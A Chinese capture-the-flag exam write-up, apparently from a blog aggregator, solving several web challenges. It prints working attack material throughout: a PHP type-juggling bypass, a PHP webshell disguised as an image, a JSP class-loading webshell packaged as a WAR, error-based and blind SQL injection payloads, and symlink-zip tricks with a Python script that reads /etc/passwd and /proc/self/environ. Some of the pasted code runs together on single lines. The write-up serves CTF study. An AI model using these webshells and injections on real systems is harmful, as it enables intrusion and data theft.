期中考核复现

web

1z_php

?0o0[]=1A&OoO[]=2023a

include "flag.php":尝试包含名为 "flag.php" 的文件。这意味着它会尝试引入一个名为 "flag.php" 的脚本文件,其中可能包含一些敏感信息或标志。

error_reporting(0):设置错误报告级别为 0,即禁用错误报告。这样做可能是为了隐藏潜在的错误信息。

isset($_GET['OoO']):检查是否存在名为 "OoO" 的 GET 请求参数。

isset($_GET['0o0']):检查是否存在名为 "0o0" 的 GET 请求参数。

$_GET['OoO']==2023:检查名为 "OoO" 的 GET 请求参数的值是否等于 2023。

intval($_GET['OoO'][0])==2023:将名为 "OoO" 的 GET 请求参数的第一个字符转换为整数,并检查是否等于 2023。

$_GET['0o0']==$_GET['OoO']:检查名为 "0o0" 的 GET 请求参数的值是否等于名为 "OoO" 的 GET 请求参数的值。

md5($_GET['0o0'])==md5($_GET['OoO']):对名为 "0o0" 和 "OoO" 的 GET 请求参数的值分别进行 MD5 哈希,并检查它们的哈希值是否相等。

!(!(include"flag.php")||(!error_reporting(0))||!isset($_GET['OoO'])||!isset($_GET['0o0'])||($_GET['OoO']==2023)||!(intval($_GET['OoO'][0])==2023)||$_GET['0o0']==$_GET['OoO']||!(md5($_GET['0o0'])==md5($_GET['OoO']))):这是一个逻辑表达式,用于检查多个条件是否为假(即不存在)。如果所有条件均为假,即没有任何条件得到满足,则表示用户提供的输入不符合要求。

? $flag : str_repeat(highlight_file(__FILE__), 0):这是一个三元运算符,根据前面的逻辑表达式的结果进行选择:

  • 如果逻辑表达式的结果为真(即用户提供的输入符合要求),则返回变量 $flag 的值。
  • 如果逻辑表达式的结果为假(即用户提供的输入不符合要求),则返回 highlight_file(__FILE__) 的结果,即将当前脚本文件的内容作为 HTML 高亮代码显示出来。

?0o0[]=1A&OoO[]=2023a

 1z_upload

先用bp爆破出用户密码

admin/admin12345

 文件上传

源码中

if (isset($_FILES['image']) && $_FILES['image']['name'] != "") {$image = $_FILES['image']['name'];$ext = pathinfo($image, PATHINFO_EXTENSION);if (strtolower($ext) == 'jpg') {$image = $_FILES['image']['name'];$image_content = file_get_contents($_FILES['image']['tmp_name']);$search_patterns = ['/\$_POST/i', '/\$_GET/i', '/eval/i', '/\?php/i'];foreach ($search_patterns as $pattern) {if (preg_match($pattern, $image_content)) {header("Location: admin_get_hack.php?id=666");exit();}}$directory_self = str_replace(basename($_SERVER['PHP_SELF']), '', $_SERVER['PHP_SELF']);$uploadDirectory = $_SERVER['DOCUMENT_ROOT'] . $directory_self . "bootstrap/img/";$uploadDirectory .= $image;move_uploaded_file($_FILES['image']['tmp_name'], $uploadDirectory);}else {header("Location: admin_get_hack.php?id=6");exit();}
}$query = "INSERT INTO books (`book_isbn`, `book_title`, `book_author`, `book_image`, `book_descr`, `book_price`, `publisherid`) VALUES ('" . $isbn . "', '" . $title . "', '" . $author . "', '" . $image . "', '" . $descr . "', '" . $price . "', '" . $publisherid . "')";$result = mysqli_query($conn, $query);if($result){$_SESSION['book_success'] = "New Book has been added successfully";header("Location: admin_book.php");} else {$err =  "Can't add new data " . mysqli_error($conn);}}

 要绕过正则匹配的post,get,eval,?php,这几个,是内容检查,还有后缀检查要是jpg

用request传参

GIF89a?
<script language='php'>@assert($_REQUEST['abc']);</script>

 成功上传文件

 根据所给的源码可以知道文件路径

admin_baohan.php?file=./bootstrap/img/haha.jpg

POST:bthcls=var_dump(file_get_contents('./flag.php'));

最后得到flag

签到O.o?

先弱口令爆破账户密码:manager/1q2w3e4r

jsp木马

<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("1234");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>

 要求上传war文件,先写好jsp木马,然后将jsp文件压缩为zip,最后将zip文件的后缀名改为war,上传的文件为war文件

http://192.168.31.60:8081/haha/haha.jsp

蚁剑连接

找到flag

1z_sql

 bp抓包爆破

 账户密码:admin/8888888

 

 ua头报错注入

1',2,(extractvalue(1,concat(0x5c,database(),0x5c))))#

1',2,(extractvalue(1,concat(0x5c,(select group_concat(table_name) from
information_schema.tables where table_schema like "kind"),0x5c))))#
1',2,(extractvalue(1,concat(0x5c,(select group_concat(column_name) from
information_schema.columns where table_schema like "kind" && table_name like
"sheet1"),0x5c))))#

1',2,(extractvalue(1,concat(0x5c,(select group_concat(username,password) from
kind.sheet1),0x5c))))#

1',2,(extractvalue(1,concat(0x5c,left((select
right(group_concat(username,password),33) from kind.sheet1),0x5c),10))))#
1',2,(extractvalue(1,concat(0x5c,left((select
right(group_concat(username,password),10) from kind.sheet1),0x5c),10))))#

 拼接flag

Yunxi{cb0fb8571956248eb37e8b0007572519}

1z_Sql2.0

输入:'or(1<>1)#

输入:'or(length(database())>10)#

无论输入什么,都返回NoNoNo!

爆破表和字段

'or(length((select(group_concat(password))from(yunxi_exam.users)))>0)#

 拿到的提示也没用

爆数据库

(查询当前数据库的名称,并将其倒序输出,取其中第10个字符的 ASCII 码值进行比较)

 'or(ord(substr(reverse(substr(database() from 1)) from 10))<>121)#

  • DATABASE() 函数:用于返回当前数据库的名称。
  • SUBSTR() 函数:用于截取字符串的一部分。
  • REVERSE() 函数:用于将字符串反转。
  • ORD() 函数:用于返回给定字符的 ASCII 码值。

查询 yunxi_exam 数据库中的 bighacker2 表,并获取其中名为 hack123 的字段的所有数据:

 'or(ord(substr(reverse(substr((select(group_concat(hack123))from(yunxi_exam.bighacke
r2))from(1)))from(52)))<>87)#

  • SUBSTR() 函数:用于截取字符串的一部分。
  • REVERSE() 函数:用于将字符串反转。
  • GROUP_CONCAT() 函数:用于将多个行合并为一个字符串,通常用于将查询结果中多个字段合并成一个。
  • ORD() 函数:用于返回给定字符的 ASCII 码值。

1z_flask 

这一题主要考查软连接

 要求上传zip,然后制作软链接读取etc/passwd文件

ln -s /etc/passwd passwd 

zip -y passwd.zip passwd

上传zip,得到

成功被执行,制作读取/flag的软连接,但是未能得到回显
猜测可能是test用户权限的问题,尝试以admin用户登录

因为可以实现任意账号密码登陆,猜测可能没有数据库,而是通过Cookie判断,使用test用户登陆,查看Cookie

session:"eyJ1c2VybmFtZSI6InRlc3QifQ.GBLRNQ.edinN7_CPSFgU_fUl_HRVgtHLmQ"

很有可能是Flask的框架,尝试使用Session解密脚本:

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decodedef decryption(payload):payload, sig = payload.rsplit(b'.', 1)payload, timestamp = payload.rsplit(b'.', 1)decompress = Falseif payload.startswith(b'.'):payload = payload[1:]decompress = Truetry:payload = base64_decode(payload)except Exception as e:raise Exception('Could not base64 decode the payload because of ''an exception')if decompress:try:payload = zlib.decompress(payload)except Exception as e:raise Exception('Could not zlib decompress the payload before ''decoding the payload')return session_json_serializer.loads(payload)if __name__ == '__main__':print(decryption(sys.argv[1].encode()))

 

可以初步判断是以Session判断是否是admin用户,但伪造session还需要Flask的SECRET_KEY值。
因为已经通过软连接读取任意文件,可以通过读取/proc/self/environ文件,以获取当前进程的环境变量列表。
其中/proc是虚拟文件系统,存储当前运行状态的一些特殊文件,可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态,而environ是当前进程的环境变量列表。

制作读取该文件的软连接:

ln -s /proc/self/environ environ
zip -y environ.zip environ

 上传文件

 发现其存在UWSGI_INI=/app/uwsgi.ini,也就是uwsgi服务器的配置文件,其中可能包含有源码路径,同样的方式制作软连接读取,在后续查阅大佬wp时,发现了软链接读取文件的EXP

uWSGI是一个Web应用服务器,它具有应用服务器,代理,进程管理及应用监控等功能。它支持WSGI协议,同时它也支持自有的uWSGI协议

 发现其存在UWSGI_INI=/app/uwsgi.ini,也就是uwsgi服务器的配置文件,其中可能包含有源码路径,同样的方式制作软连接读取


在 uWSGI 中,module 是一个配置选项,用于指定要加载的 Python 模块。该模块包含了 uWSGI 服务器要运行的应用程序的代码

 /app/uwsgi.ini里面找到了这个语句,他是加载了hard_t0_guess_bthclsbthcls.python_flask_edited_by_bthcls的这个python模块

那他的源码路径就是/app/hard_t0_guess_bthclsbthcls/bthcls.py

运行脚本得到flag

import os
import requests
import sysdef make_zip():os.system('ln -s ' + sys.argv[2] + ' test_exp')os.system('zip -y test_exp.zip test_exp')def run():make_zip()res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})print(res.text)os.system('rm -rf test_exp')os.system('rm -rf test_exp.zip')if __name__ == '__main__':run()
python3 python.py http://192.168.31.60:8084/upl0ad /app/hard_t0_guess_bthclsbthcls/bthcls.py

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/170575.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MYSQL(事务+锁+MVCC+SQL执行流程)理解

一)事务的特性: 一致性:主要是在数据层面来说&#xff0c;不能说执行扣减库存的操作的时候用户订单数据却没有生成 原子性:主要是在操作层面来说&#xff0c;要么操作完成&#xff0c;要么操作全部回滚&#xff1b; 隔离性:是自己的事务操作自己的数据&#xff0c;不会受到到其…

【TES641】基于VU13P FPGA的4路FMC接口基带信号处理平台

板卡概述 TES641是一款基于Virtex UltraScale系列FPGA的高性能4路FMC接口基带信号处理平台&#xff0c;该平台采用1片Xilinx的Virtex UltraScale系列FPGA XCVU13P作为信号实时处理单元&#xff0c;该板卡具有4个FMC子卡接口&#xff08;其中有2个为FMC接口&#xff09;&#x…

机器学习中常见的特征工程处理

一、特征工程 特征工程&#xff08;Feature Engineering&#xff09;对特征进行进一步分析&#xff0c;并对数据进行处理。 常见的特征工程包括&#xff1a;异常值处理、缺失值处理、数据分桶、特征处理、特征构造、特征筛选及降维等。 1、异常值处理 具体实现 from scipy.s…

软件测试面试1000问(含文档)

前前后后面试了有20多家的公司吧&#xff0c;最近抽空把当时的录音整理了下&#xff0c;然后给大家分享下 开头都是差不多&#xff0c;就让做一个自我介绍&#xff0c;这个不用再给大家普及了吧 同时&#xff0c;我也准备了一份软件测试视频教程&#xff08;含接口、自动化、…

kvm webvirtcloud 如何添加直通物理机的 USB 启动U盘

第一步&#xff1a;查看USB设备ID 在物理机上输入 lsusb 命令 rootubuntu:/media/usb1# lsusb Bus 002 Device 002: ID 0781:5581 SanDisk Corp. Ultra Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 004: ID 0424:2514 Microchip Technolo…

进阶课3——神经网络

1.定义与分类 神经网络是一种模仿动物神经网络行为特征&#xff0c;进行分布式并行信息处理的算法数学模型。它由大量的节点&#xff08;或神经元&#xff09;相互关联而成&#xff0c;每个节点代表一种特定的输出函数&#xff08;或称为运算&#xff09;&#xff0c;称为激励…

音乐制作软件 Studio One 6 mac中文版软件特点

Studio One mac是一款专业的音乐制作软件&#xff0c;该软件提供了全面的音频编辑和混音功能&#xff0c;包括录制、编曲、合成、采样等多种工具&#xff0c;可用于制作各种类型的音乐&#xff0c;如流行音乐、电子音乐、摇滚乐等。 Studio One mac软件特点 1. 直观易用的界面&…

On Moving Object Segmentation from Monocular Video with Transformers 论文阅读

论文信息 标题&#xff1a;On Moving Object Segmentation from Monocular Video with Transformers 作者&#xff1a; 来源&#xff1a;ICCV 时间&#xff1a;2023 代码地址&#xff1a;暂无 Abstract 通过单个移动摄像机进行移动对象检测和分割是一项具有挑战性的任务&am…

计算机算法分析与设计(20)---回溯法(0-1背包问题)

文章目录 1. 题目描述2. 算法思路3. 例题分析4. 代码编写 1. 题目描述 对于给定的 n n n 个物品&#xff0c;第 i i i 个物品的重量为 W i W_i Wi​&#xff0c;价值为 V i V_i Vi​&#xff0c;对于一个最多能装重量 c c c 的背包&#xff0c;应该如何选择放入包中的物品…

论文-分布式-并发控制-Lamport逻辑时钟

目录 前言 逻辑时钟讲解 算法类比为面包店内取号 Lamport算法的时间戳原理 Lamport算法的5个原则 举例说明 算法实现 参考文献 前言 在并发系统中&#xff0c;同步与互斥是实现资源共享的关键Lamport面包店算法作为一种经典的解决并发问题的算法&#xff0c;它的实现原…

opencalib中lidar2camera安装记录

目录 一、opencalib安装 二、lidar2camera的安装 三、测试运行 四、出现过的问题 一、opencalib安装 代码地址&#xff1a;https://github.com/PJLab-ADG/SensorsCalibration/blob/master/README.md # pull docker image sudo docker pull scllovewkf/opencalib:v1 # Aft…

出海路上离不开的Email营销,教你这样来优化!

随着互联网的不断发展&#xff0c;Email已经成为人们工作和生活中不可或缺的一部分。尤其是对于我们这些跨境企业而言&#xff0c;发送Email是一个促进销售和维护客户关系的良好渠道。而且邮件的价格也是比较低廉的&#xff0c;很适合用于日常推广营销&#xff0c;所以人手几个…

【Linux】nginx基础篇 -- 介绍及yum安装nginx

&#x1f468;‍&#x1f393;博主简介 &#x1f3c5;云计算领域优质创作者   &#x1f3c5;华为云开发者社区专家博主   &#x1f3c5;阿里云开发者社区专家博主 &#x1f48a;交流社区&#xff1a;运维交流社区 欢迎大家的加入&#xff01; &#x1f40b; 希望大家多多支…

光影之梦2:动画渲染前后对比,揭示视觉艺术的惊人转变!

动画渲染是影视艺术中不可或缺的一环&#xff0c;它赋予了角色和场景鲜活的生命。渲染过程中的光影、色彩、材质等元素&#xff0c;像是画家的调色板&#xff0c;将平淡无奇的线条和形状转化为充满韵味与情感的画面。动画角色仿佛拥有了自己的灵魂&#xff0c;无论是一颦一笑&a…

Unity Inspector编辑器扩展,枚举显示中文,枚举值自定义显示内容

记录&#xff01;Unity Inspector面板编辑器扩展&#xff0c;枚举显示中文&#xff0c;枚举值自定义显示内容&#xff0c;显示部分选项。效果如下&#xff1a; 枚举类代码&#xff1a; using System.Collections; using System.Collections.Generic; using UnityEngine;public…

9 线程池

目录 1 线程池各参数 1.1 corePoolSize 1.2 maximunPoolSize 1.3 keepAliveTime 1.4 workQueue 1.5 RejectedExecutionHandler 2 线程池工作机制 2.1 流程 2.2 提交任务 3 相关问题 3.1 线程池核心线程数、最大线程数设置 3.2 ApiPost压测 3.3 为什么要用阻塞队列…

初识Java篇

1.介绍Java语言 1.1Java是什么 Java是一种优秀的程序设计语言&#xff0c;它具有令人赏心悦目的语法和易于理解的语义。 不仅如此&#xff0c;Java还是一个有一系列计算机软件和规范形成的技术体系&#xff0c;这个技术体系提供了完整的用于软件开发和跨平台部署的支持环境&am…

小知识(5) el-table行样式失效问题

一、实现效果 子级呈现不同颜色去区分 二、最初代码 tips: 我这里使用的vue3 elementplus <el-table :row-class-name"tableRowClassName" >... </el-table>function tableRowClassName({ row, rowIndex }) {if (row.children.length 0) {return …

基于ElasticSearch+Vue实现简易搜索

基于ElasticSearchVue实现简易搜索 一、模拟数据 产品名称描述价格库存数量品牌名称智能手表智能手表&#xff0c;具有健康跟踪和通知功能。199.991000TechWatch4K智能电视4K分辨率智能电视&#xff0c;提供出色的画质。699.99500VisionTech无线耳机降噪无线耳机&#xff0c;…

html iframe 框架有哪些优缺点?

目录 前言&#xff1a; 用法&#xff1a; 理解&#xff1a; 优点&#xff1a; 嵌套外部内容&#xff1a; 独立性&#xff1a; 分离安全性&#xff1a; 跨平台兼容性&#xff1a; 方便维护&#xff1a; 缺点&#xff1a; 性能开销&#xff1a; 用户体验问题&#xf…